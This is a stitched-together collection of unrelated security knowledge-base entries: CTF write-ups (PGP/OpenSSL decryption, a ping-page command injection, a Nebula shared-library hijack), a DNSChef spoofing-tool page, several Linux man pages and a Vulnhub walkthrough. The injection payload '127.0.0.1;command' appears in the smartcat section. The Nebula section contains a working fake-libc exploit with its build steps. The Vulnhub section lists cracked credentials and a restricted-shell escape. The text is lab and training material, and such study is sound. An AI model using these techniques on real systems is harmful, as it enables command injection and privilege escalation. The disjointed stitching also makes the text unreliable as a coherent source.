<https://www.bookstack.cn/read/Micro8/Chapter1-81-90-87_%E5%9F%BA%E4%BA%8E%E7%99%BD%E5%90%8D%E5%8D%95Cmstp.exe%E6%89%A7%E8%A1%8Cpayload%E7%AC%AC%E5%8D%81%E5%85%AD%E5%AD%A3.md>
sec-knowleage
# Warm Up Crypto, 50 points ## Description: > Everyone says that PGP is hard to use. Show ‘em how it’s done. ## Solution: The following files were provided: ```console # ls flag.html.enc key.enc mitre-ctf-2019-private.asc passphrase.txt root@kali:/media/sf_CTFs/mitre/warmup# cat passphrase.txt just use ctfd ``` The description says PGP, so let's use that to try and open the key. We first need to import the key (the passphrase was supplied in the text file): ```console root@kali:/media/sf_CTFs/mitre/warmup# gpg --list-keys root@kali:/media/sf_CTFs/mitre/warmup# gpg --import mitre-ctf-2019-private.asc ┌────────────────────────────────────────────────────────────────────────────────────────────────────────────────┐ │ Please enter the passphrase to import the OpenPGP secret key: │ │ "CTF Competitor (This is private key for a 2019 MITRE CTF Competitor and should not be trusted!) <fake@fake>" │ │ 2048-bit RSA key, ID D70E64BECB374E23, │ │ created 2018-12-03. │ │ │ │ │ │ Passphrase: *************_____________________________________________________________________________________ │ │ │ │ <OK> <Cancel> │ └────────────────────────────────────────────────────────────────────────────────────────────────────────────────┘ gpg: key D70E64BECB374E23: public key "CTF Competitor (This is private key for a 2019 MITRE CTF Competitor and should not be trusted!) <fake@fake>" imported gpg: key D70E64BECB374E23: secret key imported gpg: Total number processed: 1 gpg: imported: 1 gpg: secret keys read: 1 gpg: secret keys imported: 1 root@kali:/media/sf_CTFs/mitre/warmup# gpg --list-keys /root/.gnupg/pubring.kbx ------------------------ pub rsa2048 2018-12-03 [SC] 006812F0E6E68EC18A4868C3D70E64BECB374E23 uid [ unknown] CTF Competitor (This is private key for a 2019 MITRE CTF Competitor and should not be trusted!) <fake@fake> sub rsa2048 2018-12-03 [E] ``` Now we decrypt the key: ``` root@kali:/media/sf_CTFs/mitre/warmup# gpg -o key.out --decrypt key.enc gpg: encrypted with 2048-bit RSA key, ID 2D312D1F87BA2B5E, created 2018-12-03 "CTF Competitor (This is private key for a 2019 MITRE CTF Competitor and should not be trusted!) <fake@fake>" gpg: Signature made Tue 04 Dec 2018 00:48:09 IST gpg: using RSA key 587735E31F0B06751ACD0D53CDE38825F2FFFCB4 gpg: Can't check signature: No public key ``` We delete the keys so that we never accidentally use them after the CTF: ```console root@kali:/media/sf_CTFs/mitre/warmup# gpg --delete-secret-key 006812F0E6E68EC18A4868C3D70E64BECB374E23 gpg (GnuPG) 2.2.12; Copyright (C) 2018 Free Software Foundation, Inc. This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. sec rsa2048/D70E64BECB374E23 2018-12-03 CTF Competitor (This is private key for a 2019 MITRE CTF Competitor and should not be trusted!) <fake@fake> Delete this key from the keyring? (y/N) y This is a secret key! - really delete? (y/N) y root@kali:/media/sf_CTFs/mitre/warmup# gpg --delete-key 006812F0E6E68EC18A4868C3D70E64BECB374E23 gpg (GnuPG) 2.2.12; Copyright (C) 2018 Free Software Foundation, Inc. This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. pub rsa2048/D70E64BECB374E23 2018-12-03 CTF Competitor (This is private key for a 2019 MITRE CTF Competitor and should not be trusted!) <fake@fake> Delete this key from the keyring? (y/N) y ``` Let's take a look at `flag.html.enc`: ```console root@kali:/media/sf_CTFs/mitre/warmup# file flag.html.enc flag.html.enc: openssl enc'd data with salted password ``` So this file is encrypted with OpenSSL. After many-many trials for what should theoretically be straightforward, this is the command that decrypted the file: ``` root@kali:/media/sf_CTFs/mitre/warmup# openssl enc -d -in flag.html.enc -out flag.html -pass file:key.out -aes-256-cbc -md md5 root@kali:/media/sf_CTFs/mitre/warmup# cat flag.html <!DOCTYPE html> <html> <head> <title>MITRE CTF 2019 Homepage.</title> </head> <body> <h1>This is an HTML Page</h1> <br> <p>Test Flag please ignore:</p> <p>MCA{0p3n55l_c0mm4nd_l1ne_ch4ll3ng3_fl4g}</p> <p style="display:none;">MCA{66b2f50cd2d6b9622c6be902ee2b0976badb4684}</p> </body> </html> ``` I'm not sure if this was possible without "brute-forcing" the algorithm and hash type. The flag: MCA{66b2f50cd2d6b9622c6be902ee2b0976badb4684}
sec-knowleage
# DNSChef包描述 DNSChef旨在为渗透测试人员和恶意软件分析师提供一个高度可配置的DNS代理。DNS代理(也称为“Fake DNS”)是用于应用程序 网络流量分析以及其他用途的工具。例如,DNS代理可以用于伪造对“badguy.com”的请求使其指向本地机器来终止或拦截,而不是指向Internet上的某个真实主机。 现有的一些DNS代理,大多只是简单地将所有DNS查询指向单个IP地址或仅实施初步过滤。DNSChef是作为渗透测试的一部分而开发的,这需要配置更灵活的系统。 因此,DNSChef是跨平台应用程序,基于广泛和专用域名列表,能够支持多个DNS记录类型,匹配域与通配符,代理不匹配域的真实响应,定义外部配置文件, IPv6和许多其他功能。您可以在下面找到每个功能和参考用途的详细说明。在无法强制应用程序直接使用某些其他代理服务器的情况下,建议使用DNS代理。例 如,某些移动应用程序完全忽略OSHTTP代理设置。在这些情况下,使用DNS代理服务器(如DNSChef)将允许您欺骗该应用程序转发到所需目标的连接。 资料来源:http://thesprawl.org/projects/dnschef/ [DNSChef主页](http://thesprawl.org/projects/dnschef/)|[ Kali DNSChef Repo](http://git.kali.org/gitweb/?p=packages/dnschef.git;a=summary) - **作者:iphelix** - **许可证:GPLv3** ## dnschef包中包含的工具 ### dnschef - 用于渗透测试的DNS代理 ```代码 root @ kali:〜#dnschef -h 用法:dnschef.py [选项]: _ _ __ | | version 0.1 | | / _| __| |_ __ ___ ___| |__ ___| |_ / _` | '_ \/ __|/ __| '_ \ / _ \ _| | (_| | | | \__ \ (__| | | | __/ | \__,_|_| |_|___/\___|_| |_|\___|_| iphelix@thesprawl.org DNSChef旨在为渗透测试人员和恶意软件分析师提供一个高度可配置的DNS代理。它 能够精确配置哪些DNS回复修改或简单地代理与实际响应。为了利用这个工具,您必 须手动配置或中毒DNS服务器条目来指向DNSChef。该工具需要root权限才能运行。 选项: -h,--help显示此帮助消息和退出 --fakeip = 192.168.1.100 用于匹配DNS查询的IP地址。如果您在不指定域名 的情况下使用此参数,则所有查询都将被欺骗。如 果需要定义多个IP 地址,请考虑使用--file 参数。 --fakedomains = thesprawl.org,google.com 逗号分隔的域名列表,将被解析为-ip 参数中指定 的FAKE值。所有其他域名将被解析为其真实值。 --truedomains = thesprawl.org,google.com 以逗号分隔的域名列表,将被解析为其TRUE值。所 有其他域名将被解析为-ip 参数中指定的假值。 --nameservers = 4.2.2.1,4.2.2.2 以代理请求使用的备用DNS服务器的逗号分隔列表。 从列表中随机选择的服务器将用于代理请求。默认 情况下,该工具使用Google' s公共DNS服务器8.8.8.8。 --file = FILE 定义一个包含DOMAIN=IP配对规则(每行一对)DNS响应 列表的文件。例如:google=1.1.1.1将迫使所有查询 “google.com”解析为“1.1.1.1”。使用--file与其他 参数组合实现更具体的操作。注:从文件获取的数据将 优先于其他。 --interface = 0.0.0.0 定义用于DNS侦听器的接口。例如,使用127.0.0.1 仅侦听来自环回设备的请求。 --tcp 使用TCP DNS代理取代默认UDP。 -q,--quiet 不显示标题。 ``` ### dnschef用法示例 ```代码 root @ kali:〜#dnschef _ _ __ | | version 0.1 | | / _| __| |_ __ ___ ___| |__ ___| |_ / _` | '_ \/ __|/ __| '_ \ / _ \ _| | (_| | | | \__ \ (__| | | | __/ | \__,_|_| |_|___/\___|_| |_|\___|_| iphelix@thesprawl.org [*] DNS Chef在接口:127.0.0.1上启动 [*]使用以下域名服务器:8.8.8.8 [*]未指定参数,以完全代理模式运行 ``` [原文链接](http://tools.kali.org/sniffingspoofing/dnschef)
sec-knowleage
## smartcat0 (web) ###ENG [PL](#pl-version) We get a webpage where we can input an IP address and the page will ping it and show us the results. The task was very similar to the one from teaser (https://github.com/p4-team/ctf/tree/master/2016-01-16-insomnihack/web_100_smartcat#eng-version), but this time `;` was not blacklisted. Therefore we only had to put as input ``` 127.0.0.1;command ``` And this way we could get remote code execution. We used `find` to look for the flag and then we simply used `cat` to read it. ###PL version Dostajemy stronę internetową na której możemy podać adres IP do pingowania a następnie dostaniemy wyniki pinga. Zadanie jest bardzo podobne do tego z teasera (https://github.com/p4-team/ctf/tree/master/2016-01-16-insomnihack/web_100_smartcat), ale tym razem znak `;` był dozwolny. W związku z tym wystarczyło podać jako wejście: ``` 127.0.0.1;command ``` I w ten sposób uzyskaliśmy remote code execution. Teraz wystarczyło użyć `find` aby zlokalizować flagę oraz `cat` aby ją wypisać.
sec-knowleage
.TH SETLEDS 1 "09 Oct 1997" "Console tools" "Linux User's Manual" .SH NAME setleds \- 设置键盘 led 标志 .SH "总览 (SYNOPSIS)" .B setleds .BI [ "-v" "] [" "-L" "] [" "-D" "] [" "-F" ] .BI [ {+|-}num "] [" {+|-}caps "] [" {+|-}scroll ] .SH "描述 (DESCRIPTION)" .PP .B setleds 显示 改变 当前 虚拟终端 的 led 标志 (就是 NumLock, CapsLock 和 ScrollLock)。 如果 没有 参数 .B setleds 显示 当前设置。 如果 有参数, 它 设置 或 清除 相应的 标志 (不改变 其它的 标志)。 如果有 .B \-v 选项, 显示 修改前后 的 状态。 .SH "选项 (OPTIONS)" .TP .I \-F 这是 默认 选项。 它 只改变 虚拟 终端 的 标志 (它的 状态 可能 同 键盘的 led 一样)。 .TP .I \-D 同时 改变 虚拟 终端 的 标志 和 默认 设置 (这样 之后 恢复 默认 设置 时 不会 影响 现在的 更改)。 这对 那些 想 让 NumLock 总是 开着 的人 很有用。 .TP .I \-L 不改变 虚拟终端 的 状态, 只改变 键盘的 led。 这样 led 就和 虚拟终端的 标志 不一样了 (它 只显示 它自己 的 状态)。 .B "setleds \-L" 命令(没有 更多的 参数了) 会 再次 改变 led 使它 能 反映 虚拟终端的 状态。 .TP .I \-num \+num 清除 或者 设置 NumLock。 (现在, NumLock 的 状态 只影响 小键盘, NumLock 设置 相当于 NumLock 键) .TP .I \-caps \+caps 清除 或者 设置 CapsLock。 (现在, 当 用于 字符 时 CapsLock 设置 相当于 Shift 键。 CapsLock 设置 相当于 CapsLock 键) .TP .I \-scroll \+scroll 清除 或者 设置 ScrollLock。 (现在, 按 ScrollLock 键 (或者 ^S/^Q) 会停止/开始终端输出。) .SH "例子 (EXAMPLE)" .PP 可以 在 /etc/rc 中用 .B setleds 来 设置 NumLock 的 初始 和 缺省 状态, 比如 .PP .RS INITTY=/dev/tty[1\-8] .br for tty in $INITTY; do .RS setleds \-D \+num < $tty .RE done .RE .SH "错误 (BUGS)" 在 键盘 应用 模式 NumLock 键 并不反映 NumLock 标志的 状态。 .SH "参见 (SEE ALSO)" .BR loadkeys (1). .SH "[中文版维护人]" .B 唐友 \<tony_ty@263.net\> .SH "[中文版最新更新]" .BR 2001/9/13 .SH "[中国Linux论坛man手册页翻译计划]" .BI http://cmpp.linuxforum.net
sec-knowleage
ip6tables-save === 保存ip6tables表配置 ## 补充说明 **ip6tables-save命令** 将Linux内核中ip6tables表导出到标准输出设备上。 ### 语法 ```shell ip6tables-save(选项) ``` ### 选项 ```shell -c:指定在保存iptables表时,保存当前的数据包计数器和字节计数器值; -t:指定要保存的表的名称。 ```
sec-knowleage
'\" '\" Copyright (c) 1992 The Regents of the University of California. '\" Copyright (c) 1994-1996 Sun Microsystems, Inc. '\" '\" See the file "license.terms" for information on usage and redistribution '\" of this file, and for a DISCLAIMER OF ALL WARRANTIES. '\" '\" RCS: @(#) $Id: tkwait.n,v 1.2 2003/11/24 05:10:00 bbbush Exp $ '\" '\" The definitions below are for supplemental macros used in Tcl/Tk '\" manual entries. '\" '\" .AP type name in/out ?indent? '\" Start paragraph describing an argument to a library procedure. '\" type is type of argument (int, etc.), in/out is either "in", "out", '\" or "in/out" to describe whether procedure reads or modifies arg, '\" and indent is equivalent to second arg of .IP (shouldn't ever be '\" needed; use .AS below instead) '\" '\" .AS ?type? ?name? '\" Give maximum sizes of arguments for setting tab stops. Type and '\" name are examples of largest possible arguments that will be passed '\" to .AP later. If args are omitted, default tab stops are used. '\" '\" .BS '\" Start box enclosure. From here until next .BE, everything will be '\" enclosed in one large box. '\" '\" .BE '\" End of box enclosure. '\" '\" .CS '\" Begin code excerpt. '\" '\" .CE '\" End code excerpt. '\" '\" .VS ?version? ?br? '\" Begin vertical sidebar, for use in marking newly-changed parts '\" of man pages. The first argument is ignored and used for recording '\" the version when the .VS was added, so that the sidebars can be '\" found and removed when they reach a certain age. If another argument '\" is present, then a line break is forced before starting the sidebar. '\" '\" .VE '\" End of vertical sidebar. '\" '\" .DS '\" Begin an indented unfilled display. '\" '\" .DE '\" End of indented unfilled display. '\" '\" .SO '\" Start of list of standard options for a Tk widget. The '\" options follow on successive lines, in four columns separated '\" by tabs. '\" '\" .SE '\" End of list of standard options for a Tk widget. '\" '\" .OP cmdName dbName dbClass '\" Start of description of a specific option. cmdName gives the '\" option's name as specified in the class command, dbName gives '\" the option's name in the option database, and dbClass gives '\" the option's class in the option database. '\" '\" .UL arg1 arg2 '\" Print arg1 underlined, then print arg2 normally. '\" '\" RCS: @(#) $Id: tkwait.n,v 1.2 2003/11/24 05:10:00 bbbush Exp $ '\" '\" # Set up traps and other miscellaneous stuff for Tcl/Tk man pages. .if t .wh -1.3i ^B .nr ^l \n(.l .ad b '\" # Start an argument description .de AP .ie !"\\$4"" .TP \\$4 .el \{\ . ie !"\\$2"" .TP \\n()Cu . el .TP 15 .\} .ta \\n()Au \\n()Bu .ie !"\\$3"" \{\ \&\\$1 \\fI\\$2\\fP (\\$3) .\".b .\} .el \{\ .br .ie !"\\$2"" \{\ \&\\$1 \\fI\\$2\\fP .\} .el \{\ \&\\fI\\$1\\fP .\} .\} .. '\" # define tabbing values for .AP .de AS .nr )A 10n .if !"\\$1"" .nr )A \\w'\\$1'u+3n .nr )B \\n()Au+15n .\" .if !"\\$2"" .nr )B \\w'\\$2'u+\\n()Au+3n .nr )C \\n()Bu+\\w'(in/out)'u+2n .. .AS Tcl_Interp Tcl_CreateInterp in/out '\" # BS - start boxed text '\" # ^y = starting y location '\" # ^b = 1 .de BS .br .mk ^y .nr ^b 1u .if n .nf .if n .ti 0 .if n \l'\\n(.lu\(ul' .if n .fi .. '\" # BE - end boxed text (draw box now) .de BE .nf .ti 0 .mk ^t .ie n \l'\\n(^lu\(ul' .el \{\ .\" Draw four-sided box normally, but don't draw top of .\" box if the box started on an earlier page. .ie !\\n(^b-1 \{\ \h'-1.5n'\L'|\\n(^yu-1v'\l'\\n(^lu+3n\(ul'\L'\\n(^tu+1v-\\n(^yu'\l'|0u-1.5n\(ul' .\} .el \}\ \h'-1.5n'\L'|\\n(^yu-1v'\h'\\n(^lu+3n'\L'\\n(^tu+1v-\\n(^yu'\l'|0u-1.5n\(ul' .\} .\} .fi .br .nr ^b 0 .. '\" # VS - start vertical sidebar '\" # ^Y = starting y location '\" # ^v = 1 (for troff; for nroff this doesn't matter) .de VS .if !"\\$2"" .br .mk ^Y .ie n 'mc \s12\(br\s0 .el .nr ^v 1u .. '\" # VE - end of vertical sidebar .de VE .ie n 'mc .el \{\ .ev 2 .nf .ti 0 .mk ^t \h'|\\n(^lu+3n'\L'|\\n(^Yu-1v\(bv'\v'\\n(^tu+1v-\\n(^Yu'\h'-|\\n(^lu+3n' .sp -1 .fi .ev .\} .nr ^v 0 .. '\" # Special macro to handle page bottom: finish off current '\" # box/sidebar if in box/sidebar mode, then invoked standard '\" # page bottom macro. .de ^B .ev 2 'ti 0 'nf .mk ^t .if \\n(^b \{\ .\" Draw three-sided box if this is the box's first page, .\" draw two sides but no top otherwise. .ie !\\n(^b-1 \h'-1.5n'\L'|\\n(^yu-1v'\l'\\n(^lu+3n\(ul'\L'\\n(^tu+1v-\\n(^yu'\h'|0u'\c .el \h'-1.5n'\L'|\\n(^yu-1v'\h'\\n(^lu+3n'\L'\\n(^tu+1v-\\n(^yu'\h'|0u'\c .\} .if \\n(^v \{\ .nr ^x \\n(^tu+1v-\\n(^Yu \kx\h'-\\nxu'\h'|\\n(^lu+3n'\ky\L'-\\n(^xu'\v'\\n(^xu'\h'|0u'\c .\} .bp 'fi .ev .if \\n(^b \{\ .mk ^y .nr ^b 2 .\} .if \\n(^v \{\ .mk ^Y .\} .. '\" # DS - begin display .de DS .RS .nf .sp .. '\" # DE - end display .de DE .fi .RE .sp .. '\" # SO - start of list of standard options .de SO .SH "STANDARD OPTIONS" .LP .nf .ta 5.5c 11c .ft B .. '\" # SE - end of list of standard options .de SE .fi .ft R .LP See the \\fBoptions\\fR manual entry for details on the standard options. .. '\" # OP - start of full description for a single option .de OP .LP .nf .ta 4c Command-Line Name: \\fB\\$1\\fR Database Name: \\fB\\$2\\fR Database Class: \\fB\\$3\\fR .fi .IP .. '\" # CS - begin code excerpt .de CS .RS .nf .ta .25i .5i .75i 1i .. '\" # CE - end code excerpt .de CE .fi .RE .. .de UL \\$1\l'|0\(ul'\\$2 .. .TH tkwait 3tk "" Tk "Tk Built-In Commands" .BS '\" Note: do not modify the .SH NAME line immediately below! .SH NAME tkwait \- 等待变量更改或窗口被销毁 .SH "总览 SYNOPSIS" \fBtkwait variable \fIname\fR .sp \fBtkwait visibility \fIname\fR .sp \fBtkwait window \fIname\fR .BE .SH "描述 DESCRIPTION" .PP \fBtkwait\fR 命令等待多个事情中的一个发生,接着返回而不做其他动作。返回的值总是一个空串。如果第一个参数是 \fBvariable\fR (或它的任何简写)则第二个参数是一个全局变量的名字,并且命令等待这个变量被修改。如果第一个参数是\fBvisibility\fR (或它的任何简写)则第二个参数是一个窗口的名字,并且 \fBtkwait\fR 命令等待它的可见性状态的变化(由到来的 VisibilityNotify 事件来指示)。这种形式典型的用于等待一个新近建立的窗口在屏幕上显示,此后做一些动作。如果第一个参数是 \fBwindow\fR (或它的任何简写)则它的第二个参数是一个窗口的名字,并且 \fBtkwait\fR 命令等待这个窗口被销毁。这种形式典型的用于等待用户完成与与对话框的交互,此后使用这次交互的结果。 .PP 在 \fBtkwait\fR 命令等待期间它以平常的方式处理事件,所以应用可以继续响应用户交互。如果一个事件处理器再次调用 \fBtkwait\fR,在外部调用可以完成之前嵌套的调用必须完成。 .SH "关键字 KEYWORDS" variable, visibility, wait, window .SH "[中文版维护人]" .B 寒蝉退士 .SH "[中文版最新更新]" .B 2001/12/28 .SH "《中国 Linux 论坛 man 手册页翻译计划》:" .BI http://cmpp.linuxforum.net
sec-knowleage
# Level15 #### About strace the binary at /home/flag15/flag15 and see if you spot anything out of the ordinary. You may wish to review how to “compile a shared library in linux” and how the libraries are loaded and processed by reviewing the dlopen manpage in depth. Clean up after yourself :) To do this level, log in as the level15 account with the password level15. Files for this level can be found in /home/flag15. #### Source code There is no source code available for this level #### Soltions ``` level15@nebula:~$ objdump -p /home/flag15/flag15 /home/flag15/flag15: file format elf32-i386 Program Header: PHDR off 0x00000034 vaddr 0x08048034 paddr 0x08048034 align 2**2 filesz 0x00000120 memsz 0x00000120 flags r-x INTERP off 0x00000154 vaddr 0x08048154 paddr 0x08048154 align 2**0 filesz 0x00000013 memsz 0x00000013 flags r-- LOAD off 0x00000000 vaddr 0x08048000 paddr 0x08048000 align 2**12 filesz 0x000005d4 memsz 0x000005d4 flags r-x LOAD off 0x00000f0c vaddr 0x08049f0c paddr 0x08049f0c align 2**12 filesz 0x00000108 memsz 0x00000110 flags rw- DYNAMIC off 0x00000f20 vaddr 0x08049f20 paddr 0x08049f20 align 2**2 filesz 0x000000d0 memsz 0x000000d0 flags rw- NOTE off 0x00000168 vaddr 0x08048168 paddr 0x08048168 align 2**2 filesz 0x00000044 memsz 0x00000044 flags r-- EH_FRAME off 0x000004dc vaddr 0x080484dc paddr 0x080484dc align 2**2 filesz 0x00000034 memsz 0x00000034 flags r-- STACK off 0x00000000 vaddr 0x00000000 paddr 0x00000000 align 2**2 filesz 0x00000000 memsz 0x00000000 flags rw- RELRO off 0x00000f0c vaddr 0x08049f0c paddr 0x08049f0c align 2**0 filesz 0x000000f4 memsz 0x000000f4 flags r-- Dynamic Section: NEEDED libc.so.6 RPATH /var/tmp/flag15 INIT 0x080482c0 FINI 0x080484ac GNU_HASH 0x080481ac STRTAB 0x0804821c SYMTAB 0x080481cc STRSZ 0x0000005a SYMENT 0x00000010 DEBUG 0x00000000 PLTGOT 0x08049ff4 PLTRELSZ 0x00000018 PLTREL 0x00000011 JMPREL 0x080482a8 REL 0x080482a0 RELSZ 0x00000008 RELENT 0x00000008 VERNEED 0x08048280 VERNEEDNUM 0x00000001 VERSYM 0x08048276 Version References: required from libc.so.6: 0x0d696910 0x00 02 GLIBC_2.0 level15@nebula:/var/tmp/flag15$ cat exploit.c #include <unistd.h> int __libc_start_main(int (*main) (int, char * *, char * *), int argc, char * * ubp_av, void (*init) (void), void (*fini) (void), void (*rtld_fini) (void), void (* stack_end)) { execl("/bin/getflag", (char *)NULL, (char *)NULL); } level15@nebula:/var/tmp/flag15$ gcc -fPIC -g -c exploit.c level15@nebula:/var/tmp/flag15$ ls -l total 8 -rw-rw-r-- 1 level15 level15 255 2014-11-22 08:11 exploit.c -rw-rw-r-- 1 level15 level15 2956 2014-11-22 08:11 exploit.o level15@nebula:/var/tmp/flag15$ gcc exploit.o -shared -o libc.so.6 level15@nebula:/var/tmp/flag15$ /home/flag15/flag15 /home/flag15/flag15: /var/tmp/flag15/libc.so.6: no version information available (required by /home/flag15/flag15) /home/flag15/flag15: /var/tmp/flag15/libc.so.6: no version information available (required by /var/tmp/flag15/libc.so.6) /home/flag15/flag15: /var/tmp/flag15/libc.so.6: no version information available (required by /var/tmp/flag15/libc.so.6) /home/flag15/flag15: relocation error: /var/tmp/flag15/libc.so.6: symbol __cxa_finalize, version GLIBC_2.1.3 not defined in file libc.so.6 with link time reference level15@nebula:/var/tmp/flag15$ gcc -fPIC -g -c exploit.c level15@nebula:/var/tmp/flag15$ gcc -shared -Wl,--version-script,verscript -o libc.so.6 exploit.o level15@nebula:/var/tmp/flag15$ /home/flag15/flag15 /home/flag15/flag15: /var/tmp/flag15/libc.so.6: version `GLIBC_2.1.3' not found (required by /var/tmp/flag15/libc.so.6) level15@nebula:/var/tmp/flag15$ gcc -shared -Wl,--version-script,verscript,-Bstatic -static-libgcc -o libc.so.6 exploit.o level15@nebula:/var/tmp/flag15$ /home/flag15/flag15 You have successfully executed getflag on a target account level15@nebula:/var/tmp/flag15$ cat exploit.c #include <unistd.h> int __libc_start_main(int (*main) (int, char * *, char * *), int argc, char * * ubp_av, void (*init) (void), void (*fini) (void), void (*rtld_fini) (void), void (* stack_end)) { // execl("/bin/getflag", (char *)NULL, (char *)NULL); system("/bin/getflag"); } level15@nebula:/var/tmp/flag15$ gcc -fPIC -g -c exploit.c level15@nebula:/var/tmp/flag15$ gcc -shared -Wl,--version-script,verscript,-Bstatic -static-libgcc -o libc.so.6 exploit.o level15@nebula:/var/tmp/flag15$ /home/flag15/flag15 You have successfully executed getflag on a target account Segmentation fault ++++++++ Attention Here !!! ``` #### Recommend http://www.kroosec.com/2012/11/nebula-level15.html http://www.yolinux.com/TUTORIALS/LibraryArchives-StaticAndDynamic.html
sec-knowleage
logrotate === 系统日志进行轮转、压缩和删除 ## 补充说明 **logrotate命令** 用于对系统日志进行轮转、压缩和删除,也可以将日志发送到指定邮箱。使用logrotate指令,可让你轻松管理系统所产生的记录文件。每个记录文件都可被设置成每日,每周或每月处理,也能在文件太大时立即处理。您必须自行编辑,指定配置文件,预设的配置文件存放在`/etc/logrotate.conf`文件中。 ### 语法 ```shell logrotate(选项)(参数) ``` ### 选项 ```shell -?或--help:在线帮助; -d或--debug:详细显示指令执行过程,便于排错或了解程序执行的情况; -f或--force :强行启动记录文件维护操作,纵使logrotate指令认为没有需要亦然; -s<状态文件>或--state=<状态文件>:使用指定的状态文件; -v或--version:显示指令执行过程; -usage:显示指令基本用法。 ``` ### 参数 配置文件:指定lograote指令的配置文件。 ### 实例 crontab 会定时调用logrotate命令 在 `/etc/cron.daily/logrotate` 文件中配置使用 logrotate的配置文件`/etc/logrotate.conf` 定义引用`/etc/logrotate.d`目录下的一些自定义的log配置 在`/etc/logrotate.d`目录下创建任意后缀名的文件,即可使用对日志进行轮转 ```shell /tmp/log/log.txt { copytruncate daily rotate 30 missingok ifempty compress noolddir } ``` 这个配置文件代表的意思是将`/tmp/log/log.txt`文件 进行轮转压缩 ``` compress 通过gzip 压缩转储以后的日志 nocompress 不做gzip压缩处理 copytruncate 用于还在打开中的日志文件,把当前日志备份并截断;是先拷贝再清空的方式,拷贝和清空之间有一个时间差,可能会丢失部分日志数据。 nocopytruncate 备份日志文件不过不截断 create mode owner group 轮转时指定创建新文件的属性,如create 0777 nobody nobody nocreate 不建立新的日志文件 delaycompress 和compress 一起使用时,转储的日志文件到下一次转储时才压缩 nodelaycompress 覆盖 delaycompress 选项,转储同时压缩 missingok 如果日志丢失,不报错继续滚动下一个日志 errors address 专储时的错误信息发送到指定的Email 地址 ifempty 即使日志文件为空文件也做轮转,这个是logrotate的缺省选项。 notifempty 当日志文件为空时,不进行轮转 mail address 把转储的日志文件发送到指定的E-mail 地址 nomail 转储时不发送日志文件 olddir directory 转储后的日志文件放入指定的目录,必须和当前日志文件在同一个文件系统 noolddir 转储后的日志文件和当前日志文件放在同一个目录下 sharedscripts 运行postrotate脚本,作用是在所有日志都轮转后统一执行一次脚本。如果没有配置这个,那么每个日志轮转后都会执行一次脚本 prerotate 在logrotate转储之前需要执行的指令,例如修改文件的属性等动作;必须独立成行 postrotate 在logrotate转储之后需要执行的指令,例如重新启动 (kill -HUP) 某个服务!必须独立成行 daily 指定转储周期为每天 weekly 指定转储周期为每周 monthly 指定转储周期为每月 rotate count 指定日志文件删除之前转储的次数,0 指没有备份,5 指保留5 个备份 dateext 使用当期日期作为命名格式 dateformat .%s 配合dateext使用,紧跟在下一行出现,定义文件切割后的文件名,必须配合dateext使用,只支持 %Y %m %d %s 这四个参数 size(或minsize) log-size 当日志文件到达指定的大小时才转储 ``` ### 注意事项 在`/etc/logrotate.d`目录下创建任意后缀名的文件 ```shell /tmp/log/log* { copytruncate daily rotate 30 missingok ifempty compress noolddir } ``` 这种情况下,会将轮转过的log再重新轮转,因为轮转过后的文件名也是已log开头的
sec-knowleage
# digitalworld.local: DEVELOPMENT > https://download.vulnhub.com/digitalworld/devt-improved.7z 靶场IP:`192.168.32.200` 扫描对外端口 ``` ┌──(root💀kali)-[/tmp] └─# nmap -p 1-65535 -sV 192.168.32.200 Starting Nmap 7.92 ( https://nmap.org ) at 2022-09-05 00:00 EDT Nmap scan report for 192.168.32.200 Host is up (0.00064s latency). Not shown: 65530 closed tcp ports (reset) PORT STATE SERVICE VERSION 113/tcp open ident? 139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP) 445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP) 2222/tcp open ssh OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0) 8080/tcp open http-proxy IIS 6.0 ``` 访问8080端口,我们得到了一些关于 `html_pages` 的线索。它可以是任何目录或网页。 ![image-20220905120309561](../../.gitbook/assets/image-20220905120309561.png) 让我们深入研究源代码。在这里,他们正在谈论一些开发秘密页面,并且提到了`Patrick`,他可能是用户 ![image-20220905120533139](../../.gitbook/assets/image-20220905120533139.png) 现在继续让我们浏览前面提到的网页 html_pages。在这里,我们可以再次看到一些 html 文件,其中" *development.html"*可能是我们感兴趣的。 ![image-20220905120657518](../../.gitbook/assets/image-20220905120657518.png) 当您访问 development.html 时,您会发现`hackersecretpage`的提及似乎没有其他用处。 ![image-20220905120804335](../../.gitbook/assets/image-20220905120804335.png) 我们再次浏览了相同的源代码,发现"`./developmentsecretpage`。这似乎是我们的秘密页面。 ![image-20220905120821277](../../.gitbook/assets/image-20220905120821277.png) 如果您访问该页面,它将确认是开发机密页面和一个名为"`Patrick`"的 PHP 文件链接。 ![image-20220905120857746](../../.gitbook/assets/image-20220905120857746.png) 如果我们访问文件链接,它会打开一个页面,其中包含另一个名为"Sitemap"的文件。 ![image-20220905120936002](../../.gitbook/assets/image-20220905120936002.png) 当我们访问 /sitemap.php 时,我们点击了嵌入的链接,上面写着"点击这里注销",原来是登录页面。 ``` http://192.168.32.200:8080/developmentsecretpage/sitemap.php?logout=1 ``` ![image-20220905121050147](../../.gitbook/assets/image-20220905121050147.png) 我们刚刚尝试了用户名和密码的随机登录凭据`admin`和 `1234`,这是成功的。 ![image-20220905121130011](../../.gitbook/assets/image-20220905121130011.png) 在这里,我们在页面顶部收到一条错误消息。所以我们在谷歌上搜索了一下。 我们在 Exploit-db 上发现了一个名为`/[path]/slog_users.txt`的漏洞利用,它容易受到 RFI 的攻击。参考 CVE 代码:2008-5762/63。 ``` 192.168.32.200:8080/developmentsecretpage/slog_users.txt ``` ![image-20220905121217802](../../.gitbook/assets/image-20220905121217802.png) 解密哈希后,我们分别获得`intern`、`Patrick` 和 `qiu` 的明文密码,但没有获得 Admin 的密码。 ``` intern:12345678900987654321 patrick:P@ssw0rd25 qiu:qiu ``` 使用`intern`用户登录SSH。 ![image-20220905121636259](../../.gitbook/assets/image-20220905121636259.png) 我们获得了受限 shell 的访问权限,我们只能在其中运行管理员允许的少数命令。 ![image-20220905121730456](../../.gitbook/assets/image-20220905121730456.png) 因此,要导入正确的 tty shell,我们可以使用以下命令导入`/bin/bash`: ``` echo os.system('/bin/bash') ``` ![image-20220905121831832](../../.gitbook/assets/image-20220905121831832.png) 切换到`patrick`用户,并且查看sudo列表 ![image-20220905121931650](../../.gitbook/assets/image-20220905121931650.png) 提权 